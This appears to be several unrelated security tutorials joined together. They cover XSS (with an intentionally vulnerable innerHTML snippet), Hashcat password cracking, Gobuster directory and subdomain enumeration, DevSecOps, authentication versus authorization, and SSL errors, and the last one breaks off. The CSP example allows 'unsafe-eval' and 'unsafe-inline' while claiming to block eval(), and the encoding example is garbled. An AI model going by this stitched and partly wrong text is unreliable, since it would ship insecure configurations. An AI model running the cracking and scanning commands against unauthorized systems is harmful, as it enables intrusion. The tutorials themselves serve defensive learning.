What is Cross-Site Scripting?

Cross-site scripting, also called XSS, is a website security issue that compromises user information and data when those people use a vulnerable application. The attacker can use this to circumvent the origin policy, which separates two websites from one another.

Attackers may use XSS to pretend to be a user, perform actions that a user would, and gain access to the user’s information. This can also allow the attackers to gain full access to the user’s information if they have permissions and privileges. It can also take over the complete actions and performance of the website if this continues.

To help you better understand these types of attacks, we are going to discuss some fundamentals of how XSS operates and what it does.

How Does XSS Work?

Cross-site scripting uses technology to manipulate a vulnerable site so that it sends dangerous JavaScript to users. This allows the attacker to gain complete access to the site when the script gains access to the user’s system. But the user needs to execute the JavaScript for this first.

Types of XSS Attacks

Reflected XSS:

This malicious script comes from the HTTP request. This is the most basic type of XSS attack, where an application could receive malicious data and reflect it immediately towards the user.

The attacker’s payload must be part of the request sent to a server, which is then reflected and executed onto the user’s application.

One example of this would be an attacker convincing someone to click on a phishing link before it takes effect.

Stored XSS:

This malicious script comes from the database of the website. The attacker inputs the malicious request onto the server where it could stay permanently unless manually addressed.

For example, the attacker could input a malicious script into a comment field, which would be on display for everyone who visits the page. Even without directly engaging with the script, page visitors could fall victim to this attack.

DOM-based XSS:

This more advanced vulnerability exists in client code and not on the server code. DOM-based XSS is neither reflected nor stored onto the server, but exists in a page’s Document Object Model (DOM). The web application reads the malicious code and executes it in the browser as part of the DOM, which is more difficult to detect as it doesn’t come through the server.

The security vulnerabilities involved in DOM XSS attacks are a serious concern for most websites. We are going to talk about some of the most common risks that you have on open source web building platforms such as WordPress with regard to DOM - XSS hacks.

This allows the attacker to execute malicious JavaScript code in the victim's browser, potentially allowing the attacker to steal sensitive information or perform other harmful actions on the victim's behalf.

Here is an example of a DOM-based XSS attack:

<script>
 // This function is intended to take a user supplied URL and display it on the page
 function displayURL(url) {
  // The URL is passed through innerHTML, which can execute JavaScript code
  document.getElementById("display").innerHTML = url;
 }
</script>

<!-- User supplied input is passed to the displayURL function -->
<p>Enter a URL to display: <input type="text" id="user-input" /></p>
<button onclick="displayURL(document.getElementById('user-input').value)">
 Display URL
</button>

<!-- The URL is displayed in this div -->
<div id="display"></div>

Remember that this tutorial is purely for educational purposes, to help you recognize and defend against XSS. You shouldn't use this information to perform any of these sorts of attacks.

DOM XSS – WordPress Vulnerabilities

The main target of DOM XSS attacks on WordPress is its users. Users enter their details, accounts, and site credentials to access their WordPress sites and this is what the DOM XSS attacks aim to compromise online. The attackers can use DOM XSS to get access to user information and details with a single click.

This also includes your cookies, information, and others, making it one of the most common WordPress security vulnerabilities.

Following are some of the top WordPress website security issues you should bear in mind to ensure better cross-site script security.

Accessing a User's Private Information

One of the most common WordPress security vulnerabilities involved with DOM XSS attacks is that attackers can gain useful information and even completely take over a user’s site. This can often make things escalate fast and cause complete data compromise.

Impersonating a User

Attackers can pretend to be the user, to interact with the victim’s online users, clients, and customers to gain their information.

Compromising a Site

Another common cross-site scripting security issue with websites is that these attacks can compromise the website and take access from the user. This includes displaying deviating content on the site (or content that is not originally from the site).

Other cases may involve changing the way WordPress looks online. Other people may also exploit the website by installing explicit content.

Social Engineering

In more severe cases, attackers may impact the WordPress site through phishing attempts. This is a common concern for web builder security vulnerabilities that we will discuss shortly.

The impact of XSS cross script-security issues varies for each website. However, WordPress sites are usually at a higher risk of these kinds of compromises because users save their personal information on the website. The risk increases further if the user is an admin, as the attacker can compromise the complete WordPress site.

DOM XSS and Closed Code Web Builder Platforms

Website builders such as Weebly, Squarespace, Webflow and Wix, unlike WordPress, are non-open source platforms. They allow users to intuitively create websites for their businesses via drag and drop DIY features without any coding or design experience. They also work hard to protect their users' security.

There are tons of useful tools, options, easy-to-integrate dashboards, and hosting opportunities available for users instilling their trust in these platforms. Website security issues are of course a major concern for the majority of the users on these platforms.

Many website builders try their best to protect the sites of their users from hacker threats. But out of all of the website builders available, I believe that Wix follows the NIST framework for cyber security the best and has become a major contributor to improvements in this field.

Wix protects users on their sites from being vulnerable to these kinds of attacks online with tools such as:

• Third-party updates that project against DOM XSS attacks
• A secure Sockets Layer that protects against unwanted access for users on site
• Round-the-clock secure web hosting which protects users against any kind of unwanted logins or phishing attempts.
• Granting its users admin privileges, which restrict site access and control to the original owner only
• Highlighting weak passwords and suggesting more difficult-to-decipher passwords.

Ways to Protect Against XSS Attacks

Defending your system and users against XSS attacks often requires a multifaceted approach to ensure that your servers and applications are protected against various types of attacks.

The best way to defend against XSS attacks is to properly sanitize user input. This means making sure that any user input is properly encoded so that it cannot be interpreted as code by the browser.

Additionally, you can use a web application firewall (WAF) to help identify and block XSS attacks. It's also a good idea to keep your software and web applications up to date, as many XSS vulnerabilities can be mitigated by simply applying the latest security patches.

Input Validation

This programming technique ensures that only properly-formatted data can enter a software system. Websites can either allow or block certain values to ensure that no XSS can penetrate their servers.

Escaping or Encoding User Input

Encoding and escaping changes user input to make them safer for the system. Encoding replaces special characters with more harmless equivalents (for example, translating < to <), while escaping adds special characters to protect against injection attacks.

Implementing a Content Security Policy (CSP)

Content security policies help administrators mitigate XSS attacks by restricting the resources a page can load at a given time. These resources can include scripts and images that could potentially harm clients and servers.

Bottom Line

DOM XSS cross-site scripting security issues are a serious concern for users on websites. But closed code web building platforms provide features like admin privileges, password best practices, 3^rd party updates, and much more. These features make them a more secure website building option than many open code platforms.

You can also prevent XSS attacks by filtering input once it arrives. You can do this by ensuring that only valid input is accepted.

When encoding data on output, the process should be done in HTTP responses so it will not be read as active content. More complex coding might be required, such as applying combinations of URL, JavaScript, CSS, and HTML encoding, depending on the context of output.

Keep response headers in check so browsers will have an appropriate interpretation of content.

Finally, use Content Security Policy (CSP) to minimize the severity of XSS attacks.

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';">

This CSP will allow your website to load scripts and styles from the same origin (that is, your own website), but it will block scripts and styles from external sources. It will also allow the use of inline scripts and styles, but it will block eval() statements, which can be used to execute arbitrary code.

Of course, this is just a simple example, and you can customize your CSP to suit your specific needs. For more information on how to use CSPs to defend against XSS attacks, you can refer to the Content Security Policy Level 2 specification.

Feature image via Unsplash (Florian Olivo).

Hashing is often confused with encryption. A simple difference is that hashed data is not reversible. Encrypted data can be reversed using a key. This is why applications like Telegram use encryption while passwords are hashed.

In this article, we will look at installing and working with Hashcat. Hashcat is a simple but powerful command line utility that helps us to – you guessed it – crack hashes.

We will first start by looking at how hashing works in detail.

Note: All my articles are for educational purposes. If you use this information illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.

What is Password Hashing?

Hashing is the process of converting an alphanumeric string into a fixed-size string by using a hash function. A hash function is a mathematical function that takes in the input string and generates another alphanumeric string.

How hashing works

There are many hashing algorithms like MD5, SHA1, and so on. To learn more about different hashing algorithms, you can read the article here.

The length of a hash is always a constant, irrespective of the length of the input. For example, if we use the MD5 algorithm and hash two strings like “Password123” and “HelloWorld1234”, the final hash will have a fixed length.

Here is the MD5 hash for “Password123”.

42f749ade7f9e195bf475f37a44cafcb

If we use the input string as “HelloWorld1234”, this will be the result:

850eaebd5c4bb931dbb2bbcf7994c021

Now there is a similar algorithm called encoding. A popular encoding algorithm is base64. Here is how the same “Password123” will look if we encode it with base64:

UGFzc3dvcmQxMjM=

So what is the difference between hashing and encoding? When we encode a string, it can be easily decoded to get the source string. But if we hash a string, we can never get to the source string (maybe with quantum computers, but that's another topic for discussion).

Hashing and encoding have different use cases. We can apply encoding to mask/simplify strings while hashing is used to secure sensitive data like passwords.

If hashes are not reversible, how would we compare the strings? Simple – we compare the hashes.

When we signup for a website, they will hash our password before saving it (hopefully!). When we try to log in again, the same hashing algorithm is used to generate a hash for our input. It is then compared with the original hash saved in the database.

This approach is also what gives rise to hashing attacks. A simple way to attack hashes is to have a list of common passwords hashed together. This list is called a Rainbow table. Interesting name for a table of hashes.

Now that we know how hashing works, let's look at what Hashcat is.

What is Hashcat?

Hashcat is a fast password recovery tool that helps break complex password hashes. It is a flexible and feature-rich tool that offers many ways of finding passwords from hashes.

Hashcat is also one of the few tools that can work with the GPU. While CPUs are great for sequential tasks, GPUs have powerful parallel processing capabilities. GPUs are used in Gaming, Artificial intelligence, and can also be used to speed up password cracking.

Here is the difference between a CPU and a GPU if you want to learn more.

Other notable features of Hashcat include:

• Fully open source.
• Support for more than 200 hashing algorithms.
• Support for Windows, Linux, and Mac.
• Support for cracking multiple hashes in parallel.
• Built-in benchmarking system.

Now that we know what Hashcat is, let's go and install it.

How to Install Hashcat

Hashcat comes pre-installed in Kali and Parrot OS. To install it in Ubuntu / Debian-based systems, use the following command:

$ apt install hashcat

To install it on a Mac, you can use Homebrew. Here is the command:

$ brew install hashcat

For other operating systems, a full list of installation instructions can be found here.

Once the installation is done, we can check Hashcat’s help menu using this command:

$ hashcat -h

Hashcat help menu

In addition to Hashcat, we will also need a wordlist. A word list is a list of commonly used terms. This can be a password wordlist, username wordlist, subdomain wordlist, and so on.

A popular password wordlist is rockyou.txt. It contains a list of commonly used passwords and is popular among pen testers. You can find the Rockyou wordlist under /usr/share/wordlists in Kali Linux.

How to Work with Hashcat

Now that we know what hashing and Hashcat are, let’s start cracking some passwords.

Before cracking a hash, let's create a couple of hashes to work with. We can use a site like Browserling to generate hashes for input strings.

Let’s create two hashes: A MD5 hash and a SHA1 hash for the string “Password123”. I'm using a weak password to help you understand how easy it is to crack these passwords.

Here are the generated hashes for the input strings.

MD5 hash -> 42f749ade7f9e195bf475f37a44cafcb
SHA1 hash -> b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1

We can store these hashes under the names md5.txt and sha1.txt to use them when working with Hashcat.

To crack a password using Hashcat, here is the general syntax.

$ hashcat -m value -a value hashfile wordlist

Let’s dissect the syntax. We have used two flags, -m and -a . The -m flag is used to specify the hash type and the -a flag is to specify the attack mode. You can find the list of hash types and attack modes here.

Let’s crack our md5 hash first. We will crack this hash using the Dictionary mode. This is a simple attack where we provide a list of words (RockYou) from which Hashcat will generate and compare hashes.

We can specify the hash mode as “md5” using the value 0. But Hashcat can also identify the hash type automatically for common hash algorithms.

For the attack mode, we will be using the dictionary mode (0) using the flag -a. Here is the full command:

$ hashcat -m 0 -a 0 md5.txt rockyou.txt

Hashcat will quickly find the value for the hash, in this case, “Password123”:

Hashcat MD5 crack

Looks simple, doesn't it? Now let’s crack our SHA hash. The hash mode value for SHA1 is 100. Here is the command:

$ hashcat -m 100 -a 0 sha1.txt rockyou.txt

And here is the output from Hashcat:

Hashcat SHA1 crack

Hashcat supports almost all hashing algorithms with various attack modes. Let's look at a few attack modes and see how they work.

Dictionary attack (-a 0)

As we saw in our example above, a dictionary attack is performed by using a wordlist. A dictionary attack is also the default option in Hashcat. The better the wordlist is, the greater the chances of cracking the password.

Combinator attack (-a 1)

The combinator attack will try different combinations of words from our wordlist. For example, if our wordlist contains the words “pass”, ”123", and ”hello”, Hashcat will generate the following wordlist.

passpass
pass123
passhello
123pass
123123
123hello
hellopass
hello123
hellohello

As you can see, using a simple wordlist can give us a number of combinations. This attack is great if we know some terms that might be used in the password. Keep in mind that, the larger the initial wordlist, the more complicated the final wordlist gets.

Mask attack (-a 3)

The mask attack is similar to the dictionary attack, but it is more specific. Brute-force approaches like dictionary attacks can take a long time to crack a password. But if we have information regarding the password, we can use that to speed up the time it takes to crack the password.

For example, if we know the length of the password and a few characters that might be in the password, we can generate a custom wordlist with those characters.

The mask attack is out of scope for this article, but you can learn more about mask attacks here.

In addition to these common attack types, there are more attack modes in Hashcat. This includes Hybrid mode, Permutation attack, Rule-based attack, and so on. Each of these modes can be used for specific use cases and to speed up password cracking.

How to Defend Against Hashcat

The first and obvious step is to set strong passwords. The stronger the password is, the harder it is to crack it. You can check if your password has been exposed to the internet here.

A more effective way is to add salts to password hashes. A salt is an additional string added to the existing password so the hash generated is different from the normal hash of a string.

For example, if a string “sdf909” is added to a password “Password123”, Rainbow table attacks will immediately fail since they don't have hashes with the salt added to them.

To crack a salted password, the attacker should know both the hash and salt values. This makes it harder to crack hashes using methods such as Rainbow tables.

We can further strengthen salting by using dynamic salts instead of static salts. We can write a function that generates a salt value for every string making it exponentially harder to crack a salted password.

You can read this article to learn more about how Salts work in password hashing.

Summary

Hashing is the method of using a mathematical function to generate a random string. It is a one-way function and helps to secure data such as user passwords.

Hashcat is a powerful tool that helps to crack password hashes. Hashcat supports most hashing algorithms and can work with a variety of attack modes.

To enforce security and protect hashes from attacks, use strong passwords and salts before hashing passwords.

Loved this article? Join Stealth Security Weekly Newsletter and get articles delivered to your inbox every Friday. You can also connect with me on Linkedin.

The first step an attacker uses when attacking a website is to find the list of URLs and sub-domains. Web developers often expose sensitive files, URL paths, or even sub-domains while building or maintaining a site.

This is a great attack vector for malicious actors.

For example, if you have an e-commerce website, you might have a sub-domain called “admin”. This might not be linked anywhere on the site but since the keyword “admin” is common, the URL is very easy to find. This is why you must often scan your websites to check for unprotected assets.

The usual approach is to rely on passive enumeration sites like crt.sh to find sub-domains. But these passive approaches are very limited and can often miss critical attack vectors.

Gobuster is a tool that helps you perform active scanning on web sites and applications. Attackers use it to find attack vectors and we can use it to defend ourselves.

In this article, we’ll learn to install and work with Gobuster. We will also look at the options provided by Gobuster in detail. Finally, we will learn how to defend against these types of brute-force attacks.

Note: All my articles are for educational purposes. If you use this information illegally and get into trouble, I am not responsible. Always get permission from the owner before scanning / brute-forcing / exploiting a system.

What is Gobuster?

Written in the Go language, Gobuster is an aggressive scanner that helps you find hidden Directories, URLs, Sub-Domains, and S3 Buckets seamlessly.

This is where people ask: What about Ffuf?

Ffuf is a wonderful web fuzzer, but Gobuster is a faster and more flexible alternative. Gobuster also has support for extensions with which we can amplify its capabilities. Gobuster also can scale using multiple threads and perform parallel scans to speed up results.

How to Install Gobuster

Let’s see how to install Gobuster. If you are using Kali or Parrot OS, Gobuster will be pre-installed.

If you are using Ubuntu or Debian-based OS, you can use apt to install Gobuster.

$ apt install gobuster

To install Gobuster on Mac, you can use Homebrew.

$ brew install gobuster

To install Gobuster on Windows and other versions of Linux, you can find the installation instructions here.

Once you have finished installing, you can check your installation using the help command.

$ gobuster -h

Gobuster help command

What are Wordlists?

If you are new to wordlists, a wordlist is a list of commonly used terms. This can be a password wordlist, username wordlist, subdomain wordlist, and so on. You can find a lot of useful wordlists here.

I would recommend downloading Seclists. Seclists is a collection of multiple types of lists used during security assessments. This includes usernames, passwords, URLs, etc. If you are using Kali Linux, you can find seclists under /usr/share/wordlists.

To try Gobuster in real-time, you can either use your own website or use a practice web app like the Damn Vulnerable Web app (DVWA). DVWA is an intentionally misconfigured vulnerable web application that is used by pen testers for practicing web application attacks.

How to Work with Gobuster

Now that we have installed Gobuster and the required wordlists, let’s start busting with Gobuster.

Note: I have DWVA running at 10.10.171.247 at port 80, so I ll be using that for the examples. Just replace that with your website URL or IP address. I'll also be using Kali linux as the attacking machine.

If you look at the help command, we can see that Gobuster has a few modes.

1. dir — Directory enumeration mode.
2. dns — Subdomain enumeration mode.
3. fuzz — Fuzzing mode.
4. s3 — S3 enumeration mode.
5. vhost — Vhost enumeration mode.

In this article, we will look at three modes: dir, dns, and s3 modes.

Each mode serves a unique purpose and helps us to brute force and find what we are looking for. Let's look at the three modes in detail.

How to use directory mode (dir)

Gobuster's directory mode helps us to look for hidden files and URL paths. This can include images, script files, and almost any file that is exposed to the internet.

Here is the command to run the dir mode:

$ gobuster dir -u <url> -w <wordlist>

We can also use the help mode to find the additional flags that Gobuster provides with the dir mode.

$ gobuster dir -h

Gobuster dir mode help

Now let’s try the dir mode. Here is the command to look for URLs with the common wordlist.

$ gobuster dir -u 10.10.171.247:80 -w /usr/share/wordlists/dirb/common.txt

And here is the result. We can see that there are some exposed files in the DVWA website.

dir enumeration results

If we want to look just for specific file extensions, we can use the -x flag. Here is a sample command to filter images:

$ gobuster dir -u 10.10.171.247:80 -w /usr/share/wordlists/dirb/common.txt -x jpg,png,jpeg

How to use DNS mode (dns)

You can use DNS mode to find hidden subdomains in a target domain. For example, if you have a domain named mydomain.com, sub-domains like admin.mydomain.com, support.mydomain.com, and so on can be found using Gobuster.

Let’s start by looking at the help command for dns mode.

$ gobuster dns -h

Gobuster dns help

To execute a dns enumeration, we can use the following command:

$ gobuster dns -d mydomain.com -w /usr/share/wordlists/dirb/common.txt

Since we can't enumerate IP addresses for sub-domains, we have to run this scan only on websites we own or the ones we have permission to scan.

$gobuster s3 -h

Gobuster S3 mode help

S3 mode was recently added to Gobuster and is a great tool to discover public S3 buckets. Since S3 buckets have unique names, they can be enumerated by using a specific wordlist.

For example, if we have a company named Acme, we can use a wordlist with acme-admin, acme-user, acme-images, and so on. This wordlist can then be fed into Gobuster to find if there are public buckets matching the bucket names in the wordlist.

Here is the command to execute an S3 enumeration using Gobuster:

$gobuster s3 -w bucket_list.txt

How to Defend Against Gobuster

Gobuster is a remarkable tool that you can use to find hidden directories, URLs, sub-domains, and S3 Buckets.

But this enables malicious hackers to use it and attack your web application assets as well. So how do we defend against Gobuster?

You can use the following steps to prevent and stop brute-force attacks on your web application.

1. Audit yourself: Use Gobuster on your own applications and perform an audit. This will help you find the information that will be visible to the attackers.
2. Apply security policies: To prevent resources like S3 from being exposed on the internet, use AWS bucket policies to prevent unauthorized access.
3. Use bot protection solutions: Bot protection services like Cloudflare will stop any brute-force attacks making it incredibly difficult to attack your web application.

Conclusion

Gobuster is a fast brute-force tool to discover hidden URLs, files, and directories within websites. This will help us to remove/secure hidden files and sensitive data.

Gobuster also helps in securing sub-domains and virtual hosts from being exposed to the internet. Overall, Gobsuter is a fantastic tool to help you reduce your application’s attack surface.

Loved this article? Join Stealth Security Weekly Newsletter and get articles delivered to your inbox every Friday. You can also connect with me _on Linked_In.

There’s no doubt that DevSecOps is on the rise, as the need for fast but highly secure application delivery increases.

A report by Emergen Research shows that the DevSecOps market is set to reach a $23.42 billion value in 2028 with a CAGR of 32.2 percent over the forecast period 2020-2028.

Notably, this growth does not only address the growing importance of security in rapid application development and delivery. It also has a significant positive impact on cloud security.

As organizations see increased use of cloud computing and SaaS applications, the adoption of DevSecOps is also becoming more appealing.

The Current Cloud Security Situation

A survey on the state of cloud data security in 2022 conducted in partnership with Gartner shows that an overwhelming majority of organizations (over 90 percent) say they struggle with the enforcement of security policies around their data. This is because of various reasons, which add to cloud security difficulties.

Conventional solutions no longer cut it, and cloud security needs to level up to match the different challenges brought about by growing cloud adoption and the complexities that come with it.

These challenges include the following:

Visibility and tracking inadequacies

As organizations embrace Software-as-a-Service (SaaS) apps and the Infrastructure-as-a-Service (IaaS) model, they face the challenge of protecting data and assets that are usually beyond their control.

Typically, cloud service providers do not provide customers full control over the infrastructure layer. This produces a lack of visibility and control in the context of security.

Broader attack surfaces

Threat actors are particularly attracted to organizations that use the public cloud environment. It is relatively easy to attack with zero-day, malware, account takeover, and other attacks in the absence of reliable security solutions.

Workload changes

The dynamic nature of cloud asset provisioning and decommissioning makes it difficult to protect them, especially when scaling and agility are involved.

Complex environments

Hybrid and multi-cloud environments appear to be preferred by many organizations at present because of various advantages. But this results in security management complexities and the need for security tools and solutions that seamlessly work with each other.

The need for granular privilege and key management

Because of the number of users that access cloud assets, it is not uncommon for access or privileges to be granted loosely. Extensive privileges are usually provided to avoid having to implement specific configurations for different users or user groups.

This can be problematic for security. With the use of SaaS apps, for example, when keys and privileges are given carelessly, sessions can be exposed to various security risks.

Weakening of cloud standards compliance benefits

The top cloud service providers notably advertise their compliance with various security accreditations or standards such as the NIST 800-53, PCI 3.2, and GDPR. But the benefits of compliance are diluted or almost entirely eroded because workload and data process management is usually relegated to customers (organizations).

Since most organizations have visibility and tracking difficulties, poor attack surface management capabilities, and the lack of granular privilege management, the security compliance of cloud providers do not necessarily benefit their customers.

The rise of DevOps

Many organizations have shifted to DevOps as they seek to shorten the lifecycle of systems development and promote rapid and continuous app delivery.

This can impact cloud security, though, especially when there are security-related changes implemented post workload deployment.

How DevSecOps Can Help

As I explained above, it is not only the expansion of attack surfaces and security management complexities that come with cloud adoption that make cloud security more challenging. The increased adoption of DevOps practices also adds to the problem. This is where DevSecOps comes into play.

DevSecOps adds the crucial security component to DevOps and guides developers to embrace “security by design.”

It is a step-up from the previous shift-and-adopt strategy used in incremental cloud re-platforming. It involves an integrated team of multi-skilled specialists in the field of cloud and cybersecurity working together under a common operating paradigm.

Teams can establish a center of excellence (usually helmed by the organization's digital transformation point person) to take charge of the coordination of the cloud and cybersecurity specialists working together in the new development operating model.

DevSecOps ensures that flexible and agile practices do not disregard security, allowing development processes to proceed at the same pace an organization wants its business to move.

Teams can achieve this with an emphasis on shared responsibilities. Organizations nurture collaboration, cross-skilling, and cross-teaming to attain better outcomes.

Diana Kearns-Manolatos, Senior Manager in Deloitte’s Center for Integrated Research, characterizes DevSecOps as “more than moving existing security processes earlier into the development process.”

DevSecOps entails the rethinking and rearchitecting of the way app design processes work. "It is about elevating, embedding, and evolving (your) organization’s risk response," Kearns-Manolatos adds.

To answer the question "What is DevSecOps’ role in cloud security?", teams need to incorporate security into the efficiency, rapidness, and continuousness thrust of DevOps.

Simply put, it is about quickly rolling out apps or software products that are already secure to help better manage the expansion of cyber attack surfaces.

Instead of having another team (the security team) undertake rigorous app security review, the apps can be deployed immediately. Tweaks and patching will still be needed eventually, but they will no longer be as exhausting as compared to deploying apps developed conventionally.

DevSecOps in Practice – Not Easy but Very Doable

Embracing DevSecOps to achieve the quick, secure, and efficient rollout of applications or software products is not going to be a walk in the park. But it is not overly tricky to be restrictively achievable.

Organizations will face the need for process innovation and they'll need to rethink their cloud security and development operations.

One crucial factor in successfully adopting DevSecOps practices to improve development outcomes (especially in terms of security) is communication.

Teams need to properly communicate with each other to ascertain that everyone is on the same page during the development process. Real-time knowledge sharing is important and it may also be necessary to integrate ChatOps, automation, as well as artificial intelligence in the process.

Final Thoughts

DevSecOps and cloud security may appear unrelated or remotely connected concepts. But the former does have an impact on the latter.

DevSecOps will not address all cloud security issues or threats. But it can make DevOps-driven apps used on the cloud or in hybrid environments less vulnerable, and can limit means for threat actors to penetrate cyber defenses.

If you want to learn more about DevSecOps in depth, check out this free article and course from freeCodeCamp.

Image via Murrstock / Adobe Stock

In this article, you will learn:

• The differences between authentication and authorization
• How each of these processes work
• Examples of authorization and authentication in everyday life.

‌‌‌‌Ok, let's get started.

What is Authentication?

Authentication is the the process of verifying the credentials a user provides with those stored in a system to prove the user is who they say they are. If the credentials match, then you grant access. If not, you deny it.

Methods of Authentication

Single Factor authentication:

This is often used as the authentication process for lower risk systems. You only need a single factor to authenticate, with the most common being a password, so it's more vulnerable to phishing attacks and key loggers.

In addition to this, a recent article by DataProt showed that 78% of Gen-Z people utilize the same password for multiple services. This means that if an attacker gained access to one user account, they have a high probability of gaining access to others by simply using the same password.

2-Factor Authentication:

This method is more secure, as it comprises two factors of authentication – typically something you know, for example username and password , plus something you have / own, for example a phone SMS or a security token.

For 2-factor authentication, you would enter a one-time SMS password sent to your device, or perhaps a linked authenticator app code and provide an ever-changing access code.

As you can imagine, this is a lot more secure than simply entering a password, or a single authentication credential. You would need to know the login credentials, as well as have access to the physical device for the second part.

2-factor authentication has become very common amongst online services in recent years, and with many large companies it is the default authentication method. Many require that you setup 2-factor auth in order to even utilize the service.

Multi-Factor Authentication:

Going one step further to make your authentication process even more secure is having 3 or more factors. This form of authentication usually works on the premise of:

• something you know (username + password or a username + security question and answer)
• something you have (mobile phone sms, authenticator app, USB key)
• something you are (like a fingerprint / face recognition)

For these reasons, multi-factor authentication offers the most protection, as you would need to compromise multiple factors, and these factors are a lot more difficult to "hack" or replicate.

The downside to this method of authentication, and the reason it's not utilized in many average systems, is it can be cumbersome to setup and maintain. So the data / system you're protecting really has to justify the need for such security.

So, How Much Information Do You Need to Authenticate?

This question comes up at many security architecture meetings, and the answer is "it depends".

It is not unusual for companies to combine various authentication methods to increase security based on the nature of application.

For example, take a banking app. It contains very sensitive information, and could have a huge financial and reputational impacts should it be obtained by the wrong person. The bank may combine personal questions to be answered, along with a customer number and complex password.

On the other hand, for a social media site, you might only require a username and password, which is then checked and verified before allowing access.

It's all about the level of risk involved and what information someone can access once they're in the application. This helps determine the level of authentication you need.

If you or your team underestimates the level of authentication your app needs, you could be prosecuted for not securing the data within your system adequately. So companies employee security specialists to advise on best practices and appropriate solutions.

How Does Authentication Work in the Real World?

Let's take an example of a social media account. You choose your favorite social media site (which is hosted on a server). The server will ask you to provide credentials to access the site via a sign in page. Here you would type in your username and password that you used when creating the account.

Image showing the authentication process

These details are then sent to the server, and the authentication process begins. The details you provided are verified and checked in the server's database, and if they match the details on record you are authenticated. Then you're provided with a form of identification data, for example a cookie or Json Web Token (JWT token).

Success! You have accessed the site and are given entry.

You can learn more about JWT tokens in another FreeCodeCamp article by Beau Carnes here.

Next, let's look at authorization.

What is Authorization?

Authorization, is the process of verifying that you're allowed to access an area of an application or perform specific actions, based on certain criteria and conditions put in place by the application. You may also hear it called access control or privilege control.

Authorization can either grant or deny permission to carry out tasks, or access areas of an application.

Let's look at an example:

We've gained access to the social media site, but what we're allowed to do there depends on what we're authorized to to do.

If we try to access someone's profile that we're not friends with (they've not accepted our connection request), we're not authorized to view their profile. This means that we are denied permission to view their shared posts.

Image of authorization flow

How to Implement Authorization

There are many ways you can implement authorization depending on the frameworks you are using.

Within the .NET framework, for example, you could use role-based access control, or claims-based access control.

Role-based access control is centered around the ideology that each user within your system is assigned a role. These roles have predefined permissions associated with them. Being granted a role means that user will automatically inherit all these permissions. The roles are assigned at time of user creation and setup.

The endpoint or site simply then checks if the current logged-in user has the role of Admin when attempting to access the admin area.

The downside to this approach is that sometimes users are granted too many permissions that they don't need or shouldn't have.

For example, giving a user the role of Admin may mean they would have been givenAdvanced Create, Edit, Delete, and View user privileges. Whereas, you may want to only give them View and Basic Create permissions.

Claims-based access control can allow for finer tuning of a specific user's permissions. The application can either check that the claim simply exists on a user, or whether a particular value is assigned to the claim.

As an example, a claim called CreateUser could be given to a user, and this is checked when creating a user. Or you could assign a value of Advanced to the same claim, and then have different actions and user interface available depending whether the value was Advanced or Basic.

What's the Difference between Authentication and Authorization?

So now that we have a better understanding of the terms, let's look at a scenario you may be familiar with that involves both processes.

At a dinner party with an exclusive guest list, each guest is given a nickname and a secret password.

Upon arrival, a security guard asks you for your nickname and secret password. They then authenticate your credentials against the list they have. If your credentials match, you are handed an envelope showing you've been allowed in.

Once inside you are allowed to access the party and public areas of the venue as these require no authorization _(_everyone has the permission to enjoy the party). However, you then want to visit the VIP area.

As you approach, another security personnel asks to open your envelope (your permissions and roles). They take a look but unfortunately you do not have the VIP role, and therefore are not authorized to access.‌‌‌‌Put as simply as possible, authentication verifies the identity of a user or service allowing access, whereas authorization determines what they can do once they're in.

Why Should You Implement Both Authentication and Authorization?

As you can see, although authentication and authorization are very different, each plays an integral part in the security and integrity of the application or system.

These processes go hand in hand, and without one the other is kind of meaningless. If you can gain access to the Admin area, but do whatever you want once in there, it could lead to big problems.

On the other hand, you can't authorize individuals without knowing who they are! Which is why authentication always comes before authorization.

Closing Thoughts

I hope this has been insightful and you now have a clearer understanding of the differences between Authorization and Authentication, and how to use them.

Remember:

• Authenticate = Verifies the identity of a user or process.
• Authorize = Determines if the user / system has permission to use a resource or carry out an action.

Feel free to get in touch via Twitter if you wish to discuss this article in more detail @gweaths.

This error is mostly caused by an expired or bad SSL certificate. It also occurs when the browser can’t verify the legitimacy of a website’s SSL certificate.

That error message could be a giant one like this:

The browser could also show you a signal in the address bar like this:

In this article, I will show you what an SSL certificate is. I will also show you how to fix SSL errors as a site owner and as a user.

What We'll Cover

• What is SSL and Why is it Used?
• How to Fix SSL Error as a Site Owner
  • Purchase an SSL Certificate
  • Make sure you Turn on SSL on your Website
  • If your website is hosted on Github pages…
  • If your website is hosted on Netlify…
  • If your website is a WordPress website…
  • Contact your Hosting Provider
• How to Fix SSL Error as a User
  • Make Sure your Date and Time are Correct
  • Clear Saved SSLs on your Computer
  • Clear your Browser’s Cache and Cookies
• Final Thoughts

  What is SSL and Why is it Used?

SSL stands for secure socket layer. It is the international standard security technology for keeping the sharing of information safe between a website and its users.

In the Chrome browser, when a website has a valid SSL, a locked padlock is shown in the address bar – indicating that any information the user shares with that website is encrypted.

How to Fix SSL Error as a Site Owner

If you are a site owner and your users are complaining that your website shows SSL errors, you can fix the issue with any of the methods explained below:

Purchase an SSL Certificate

If your website doesn’t have an SSL certificate installed, any modern browser your user is using will alert them your site is not secure.

In this case, you should purchase an SSL certificate from any of the providers out there.

By the way, you can buy an SSL certificate from companies that sell domain names. You can also buy an SSL from Sectigo or SSLs.

Make sure you Turn on SSL on your Website

If you’ve purchased and installed an SSL but your website still shows SSL errors, it could happen because you unknowingly didn’t turn on SSL.

If your website is hosted on Github pages…

Step 1: Navigate to your site repo and click Settings:

Step 2: Click on Pages on the left sidebar:

Step 3: Tick “Enforce HTTPS”:

This is required for sites using GitHub’s default domain (example.github.io).

Even if you’re using a custom domain, make sure that box is ticked.

If your website is hosted on Netlify…

Step 1: Click on the site with an SSL error:

Step 2: Click on “Site Settings”:

Step 3: Click “Domain Management”, and then HTTPS on the left sidebar. Make sure there’s the message “Your site has HTTPS enabled”.

If your website is a WordPress website…

If you have a WordPress website with an SSL error, install the Force SSL plugin on your website

Contact your Hosting Provider

If every method discussed above fails to work for you, then you should contact the customer service of your hosting provider.

How to Fix SSL Error as a User

If you visit a website and you’re getting any SSL-related errors, there are some things you can do as a user. That’s because the problem is not always caused by the website – as long as an SSL certificate is installed on the website.

Make Sure your Date and Time are Correct

If your computer’s date and time are ahead or behind, the browser might show an SSL-related error.

This is because SSLs have expiration dates. So, when your computer’s date and time are behind or ahead, the check your browser runs to see if the SSL certificate of that website is valid will fail.

In this case, the browser will suggest that you change your date and time.

